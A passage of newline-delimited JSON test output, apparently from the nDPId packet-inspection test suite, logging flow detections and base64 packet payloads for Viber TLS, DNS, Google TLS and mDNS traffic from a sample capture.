EZfJxPg3+bRrvsUGi9cPoVDBcI2NQ3QYpMu4OBVl+NKlZj05jfE4cu5Csz2wW4\/EdXIVLodtlxTb8iaFp1GtcwKvJ25iriW18S3VwIDAQABo4GrMIGoMA8GCSsGAQUFBzABBQQCBQAwIgYDVR0RBBswGaQXMBUxEzARBgNVBAMTClRHVi1GLTExMTcwHwYDVR0jBBgwFoAUwk9IV\/zRT5rAXTh9DgXb2S61UmAwHQYDVR0OBBYEFEa+Iw4ZP5maMKC4NxcA4+LDp5F8MAwGA1UdEwEB\/wQCMAAwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQByJUL6mFwcpQr8CxmZsKEelg\/FMEUB7AeZHuzqSZeuYK5iA+HwTVLAMPFRslKVi1rZv71rnuMWl8dpv3mJPY\/8lHnxhMAUlLmMLTkP9IBxCXMQJP1epsUmSvmZ86Uaex+xMiKPXqoI585YqifHHTm8QDXDAlzJfgFElfMNbw3r7TmKy3yF53oxRVGh+IyOH9fZdzMhmqRTONVDIb64MWTXF\/X6xSd5PVBNLpzEqyDKXXd3ueW\/sLO6cemVuwuC2LSoReHiw6dHlo+SA8\/sVl5yApWl0+8F1OpB6xbPdSicaEUe\/y+SNyC32l7shvVq1e3h6Qm5HttUdScBRxxRGvpSFgM="} +01045{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":91,"source":"viber.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":8,"flow_first_seen":1527155641845,"flow_last_seen":1527155641890,"flow_tot_l4_data_len":4799,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":599,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.53","src_port":53934,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Viber","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dl-media.viber.com","server_names":"*.viber.com,viber.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=thawte, Inc., CN=thawte SSL CA - G2","issuerDN":"C=LU, ST=Luxembourg, L=Luxembourg, O=Viber Media Sarl, OU=IT, CN=*.viber.com","alpn":"h2,http\/1.1","fingerprint":"E1:11:26:E6:14:A5:E6:F7:F1:CB:68:D1:A6:95:A1:5E:11:48:72:2A"}} +00890{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":891007,"pkt_caplen":411,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":411,"pkt_l4_len":377,"pkt":"MAdNo1+nAA6OMNv9CABFAAGN4YpAAPQGTws25l01wKgAEQG70q53C6Ii1db\/noAYAHb6cwAAAQEICn5qcK0AIWOgAwFNDAABSQMAF0EE1Bz1buwGj7arDvQKfn63IR0V1xqKcdsJ+4Xe60p6b0Drrq+bwGpcEENi2XR4FgisbSBm9CEN5BCw07M+YNuptQYBAQAizAbdjJeK+r0hyLzDP6Rhbxwstrsv5rbzwdiBGXV90oKpEl22KCV4RA2SoLO5Vzu64fCPL16OfwZqOlif0POj0Arw82eaZ05Lniseo1L4+lL3xjW3FkOToBXxkKnPfoY90ACaPbxIJxruTsZtTIMKBEGnMjMyOwr1PRpk2\/YFStDcJ9OCbRAyrgQsaFaFH8JLr+3QrzgJZq4PrvwXXj0f4E2PzogtH+gzUpl1xiuSHPDMU9u\/9OK3VBvURgUO+iEzaC1B+pR7bfOHvM4yZz0qPi6YwxrggUHzuKvTgWGyRfrWCky1dsnB\/4pwaDDlxHg92Ks70O2hklJ\/MDoS2o9fFgMDAAQOAAAA"} +00423{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":907599,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0nX9AAEAGSHDAqAARNuZdNdKuAbvV1v+edwuW0oAQAsMUiAAAAQEICgAhY6d+anCt"} +00424{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":907687,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0nYBAAEAGSG\/AqAARNuZdNdKuAbvV1v+edwuceoAQAtoOyQAAAQEICgAhY6d+anCt"} +00423{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":908261,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0nYFAAEAGSG7AqAARNuZdNdKuAbvV1v+edwuiIoAQAvEJBwAAAQEICgAhY6p+anCt"} +00423{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":908610,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0nYJAAEAGSG3AqAARNuZdNdKuAbvV1v+edwuje4AQAwcHmAAAAQEICgAhY6p+anCt"} +00597{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":919447,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OMNv9MAdNo1+nCABFAACynYNAAEAGR+7AqAARNuZdNdKuAbvV1v+edwuje4AYAweSMQAAAQEICgAhY61+anCtFgMDAEYQAABCQQSMx\/xgnJ0MZTU6UD6zv5MkFyJpocQc5AKoUSYK9zABMxwrUyi\/0dAkAqmJnPW6alP\/ucXiRnaUzkicp4VxP6m4FAMDAAEBFgMDACgAAAAAAAAAABRVXqqmLxV40IubwlDoWtFMgIUcnsOsHdSZcoe4VaEF"} +00756{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":938791,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"MAdNo1+nAA6OMNv9CABFAAEm4YtAAPQGT3E25l01wKgAEQG70q53C6N71dcAHIAYAHYMtAAAAQEICn5qcLEAIWOtFgMDALoEAAC2AAAqMACwdl6URFAA6YMRSWiAuGyrMmmL\/\/UWFxFwpKywqh8LTHb7USmx1KY9KmzAhCi1q6hmD+OGu3LMjHxvB3cvc5SklGKlumRvGOcwLqFtagakksM5P+Fip2sQsOCYZKab19+Yvjc5rHsVPiyh5RFDgckZWhcThGhxUSpsacAQqTmRWtfGctL\/UCycuv3p03qdYdZSTcJhvQIY2\/iRwfij+r2XZCSBoldbr\/8Q0s3nsglS3PwUAwMAAQEWAwMAKMgA\/zJ+MUGgvIWNCUUgyDJly9qc4jmQiOpPnjfyRxfOQBpTgUTvYOc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":119,"source":"viber.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1527155644240,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"172.217.23.106","src_port":41993,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155644,"pkt_ts_usec":240774,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AA6OMNv9MAdNo1+nCABFAAAzV0lAAEARXnTAqAARrNkXaqQJAbsAHwH3DO5PoOHayJNED10MJ0pTvsIOJQ7muOI="} +00423{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155644,"pkt_ts_usec":243647,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"AA6OMNv9MAdNo1+nCABFAAAzV0pAAEARXnPAqAARrNkXaqQJAbsAH4RqDO5PoOHayJNEEDIopLF1oa8UykhAnf8="} +00424{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155644,"pkt_ts_usec":244636,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"MAdNo1+nAA6OMNv9CABFAAAyAABAADoRu76s2RdqwKgAEQG7pAkAHohoAA5y\/VBeClgsOyCTlKKUc09Z1nXjEg=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"viber.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1527155646819,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":35331,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":819778,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"AA6OMNv9MAdNo1+nCABFAABBI8dAAEARlXTAqAARwKgAD4oDADUALaw8\/YcBAAABAAAAAAAAD2FwcC1tZWFzdXJlbWVudANjb20AAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":122,"source":"viber.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1527155646819,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":35331,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"app-measurement.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00464{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":840307,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"MAdNo1+nAA6OMNv9CABFAABRXJhAAEARXJPAqAAPwKgAEQA1igMAPcYV\/YeBgAABAAEAAAAAD2FwcC1tZWFzdXJlbWVudANjb20AAAEAAcAMAAEAAQAAASsABKzZF04="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":123,"source":"viber.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":2,"flow_first_seen":1527155646819,"flow_last_seen":1527155646840,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":35331,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"app-measurement.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.23.78"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":124,"source":"viber.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1527155646850,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"172.217.23.78","src_port":43702,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":850574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8QKlAAEAGdTLAqAARrNkXTqq2Abu2kyjUAAAAAKAC\/\/\/OpwAAAgQFtAQCCAoAIWh9AAAAAAEDAwc="} +00436{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":851668,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8SUEAADoGspqs2RdOwKgAEQG7qrbgrF\/UtpMo1aASpagYYgAAAgQFZAQCCAqjjizLACFofQEDAwg="} +00423{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":855196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0QKpAAEAGdTnAqAARrNkXTqq2Abu2kyjV4Kxf1YAQAq3p2QAAAQEICgAhaH6jjizL"} +01125{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":860573,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"AA6OMNv9MAdNo1+nCABFAAI5QKtAAEAGczPAqAARrNkXTqq2Abu2kyjV4Kxf1YAYAq1z5wAAAQEICgAhaICjjizLFgMBAgABAAH8AwNBPsdw19xPZmwn4MTofE7KpZzlehZ2ryKsHoehtt8SkyAtuuVLu0IaXHkCuJfDbS+MIlAXHQF7wFtqpJjA8h8AEwAcwCvALMypwC\/AMMyowAnACsATwBQAnACdAC8ANQEAAZf\/AQABAAAAABgAFgAAE2FwcC1tZWFzdXJlbWVudC5jb20AFwAAACMA2gB3xmugirq4ty3TFMj+47dZbYBXktcQ\/Fy823lCDlYKB2I9H4xj09kCGfGET468Pn7WKGmpHa+d4io34b79G4zdduOMVQjYCVWJd2+svjjieR2WmccqyJfAVJDiSGaILG39AMxmPrLGKG+W90qFvZ+sjOk1xBxZC4lq\/vWERh9dI8LaVYFE2i7VMlSVzcW5MKdEpuvpZDk7ugj4\/NffY7m0Pt8V62OtFaSYvEHuUpsBuuh2p0N2Bnn0v0DCnV5O+4x\/YpKAcbs0\/4gq2kI7gwNYwqLZdKvB5cFAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABAACwAJCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAYABUATgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00724{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":127,"source":"viber.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1527155646850,"flow_last_seen":1527155646860,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"172.217.23.78","src_port":43702,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"app-measurement.com","ja3":"3967ff2d2c9c4d144e7e30f24f4e9761","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00424{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":861661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0SUsAADoGspis2RdOwKgAEQG7qrbgrF\/VtpMq2oAQAKrpygAAAQEICqOOLNYAIWiA"} +00645{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":862539,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"MAdNo1+nAA6OMNv9CABFAADWSUwAADoGsfWs2RdOwKgAEQG7qrbgrF\/VtpMq2oAYAKpAyAAAAQEICqOOLNYAIWiAFgMDAGoCAABmAwNbBou+xK8IA8Bigvg9R7OVkhyuEsJxtVGVuZ+HIv6bZCAtuuVLu0IaXHkCuJfDbS+MIlAXHQF7wFtqpJjA8h8AE8AvAAAe\/wEAAQAAFwAAABAACwAJCGh0dHAvMS4xAAsAAgEAFAMDAAEBFgMDACgAAAAAAAAAAAka+C7\/X1Be6gfmmulH95vZtL0tyB43DjLcKezq7VI1"} +00778{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":129,"source":"viber.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1527155646850,"flow_last_seen":1527155646862,"flow_tot_l4_data_len":887,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"172.217.23.78","src_port":43702,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"app-measurement.com","ja3":"3967ff2d2c9c4d144e7e30f24f4e9761","ja3s":"67619a80665d7ab92d1041b1d11f9164","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +00423{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":866569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0QKxAAEAGdTfAqAARrNkXTqq2Abu2kyra4Kxgd4AQArXnHAAAAQEICgAhaIGjjizW"} +00493{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":867103,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AA6OMNv9MAdNo1+nCABFAABnQK1AAEAGdQPAqAARrNkXTqq2Abu2kyra4Kxgd4AYArXc8AAAAQEICgAhaIGjjizWFAMDAAEBFgMDACgAAAAAAAAAAIOnf1NdjktXIFsIc8dJxf0KKwsAuNCCVUpEltwtBSlD"} +00423{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":908111,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0SWEAADoGsoKs2RdOwKgAEQG7qrbgrGB3tpMrDYAQAKro7gAAAQEICqOOLNwAIWiB"} +01531{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":914950,"pkt_caplen":882,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":882,"pkt_l4_len":848,"pkt":"AA6OMNv9MAdNo1+nCABFAANkQK5AAEAGcgXAqAARrNkXTqq2Abu2kysN4Kxgd4AYArXrHQAAAQEICgAhaI2jjizcFwMDAysAAAAAAAAAAZ1vAQ\/roP\/wIuwXOXPyEztEyVeYgRHxpDp872tQbcToaeg0tiAsk6O5dXvpjQiesottAoi\/QfJJaH4vvLj4xBS6fb81phopoeZFlp6nKiXosvcdFEsNhsWHzroiDWSGFAGInHBBttHFnPjZx4bGlLfYDi93k9y1OB5zZSlJ9hzS5oQtV+I1JFa3y7wmByuV6gnPxSsi3pdxQykiNN5Q1m83qlSuP3buHJ9YG2LtsvnibVgZCDw7tVhIGDHbfXZwJ+c9DblUnmr7GoL2CvInYpqUDx+w4PV2ER\/TlJub7w4qyEQUQprFJJw6vRTW\/ekeQ2Ut4c9vqg8vPjSFz8ObHgw+7amwQy+011slQnvkfjjLRkdx+4MU1YuLxn36qCbCB0KNjWzGzj13CuqkKcDIzsszEa\/o467mOvwg08h7yZZA31IV5TP9IYJGzQ7UXxXAGiFwMgP9HSm0wMdQa9cBt87ou7ZtOficG9hA3YL7OJlA7xcLOBsAYgMklrTDqyetK1JZxSBvPAj+0cXEg7zki17JJiNGHULKw+gf1E0BFFMW5w3aTENqEiMukM3b1w9m\/yjIgtcc9MEE8IvlRJciIUcsIChFr5La2NzZK1v56lBskE40NvRCOpj5a2iJSa3C3DZsJ11oxAvR\/6idz0WrrzYV67hGj8BgPbkLkja7TckG9LsJQM6+87D87mZ6YJvQaqoBoAGvoDfGHIbLOrly3YVJxZ7nOFe\/yK2ISSOgshSqL++NfKutztIivV7BjP9smUg7k41J3YG+hUbAt8I40jTxuUVOYa3UHX9JRKpApom4PGeSxPRBJpPLLen6gUPp8dFee9\/eeJ\/9wp416WxSLrgNOwNUBSi8xUMFUavxOVq\/JNy1+2kGbGGZWI5yhW4+rmpnMWE8zPTfJ\/hCQBM9sVEQGxJH6jp6h8T0WzOoMal1BkK+sMUvRT9uqXwVm5WPX2PUi6OL4QeAQsTwG1Pyrf9imCyZBaia1vovZZ3IrwgC4VFlxzpG\/pKpAtjf2DT\/q+M8YbvjZEuZEVLWuH\/wFYwCiCNG3apw7wL4HQHVsk8mV0zA"} +00424{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":915935,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0SWgAADoGsnus2RdOwKgAEQG7qrbgrGB3tpMuPYAQALHlewAAAQEICqOOLQwAIWiN"} +00985{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":932283,"pkt_caplen":480,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":480,"pkt_l4_len":446,"pkt":"MAdNo1+nAA6OMNv9CABFAAHSSW0AADoGsNis2RdOwKgAEQG7qrbgrGB3tpMuPYAYALEz3QAAAQEICqOOLRwAIWiNFwMDAZkAAAAAAAAAAcYH5ganGUEenB5VC+uS6R4yyeNzSTNyNjbvnhM3HHvtbrsF3friRUkHOdEYHgsb+iMRP5hkFYePtJvbPzJAvalYiR5BUcWNm8FZTLDYGVsLHe7EENGB9KQZw1BsnCY1C+8qYxRJ6+IBOXz2JnMzaT1NmeLXRQUyyWnST4ZiRmipAeK2onNFKgPJoRaYjw1tG9puTDsqoJXsoXU\/jSOW9iuw+bsZLlXyLD6VMRoSERpzuslu6zAM0bGwzHU2gqd3froFK7t6vjcUXeMVYnAk\/3M9ci0swWIU8XI+sReXYJLWn25s3xH\/FLTwaZgf22Yfurf+UbMJygddjYAU40icsbaYTtdLCSLeSs9dabOaYZm+S5hBqhUE+wo7ubDIee6909VDa8IQqVDVjdm4ML\/c6y2O8mdLf78pt6cOlSUySfKA6\/z0Kwrz84Q0i4yNdRlrdeYehphB2r3LxmCKo\/tAvjrVIKWl5iLFvECom1k1s+qaPaEUhOZZiTMDmmXTDT9UZdBSQmQ6gxe+zfa8ttHpDwLY"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"viber.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1527155646968,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":968117,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7MAdNo1+nCABFAABZHwxAAP8RutLAqAAR4AAA+xTpFOkARSvHAAQAAAACAAAAAAAACV84MDU3NDFDOQRfc3ViC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAcAbAAwAAQ=="} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":136,"source":"viber.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1527155646968,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_805741c9._sub._googlecast._tcp.local"}} 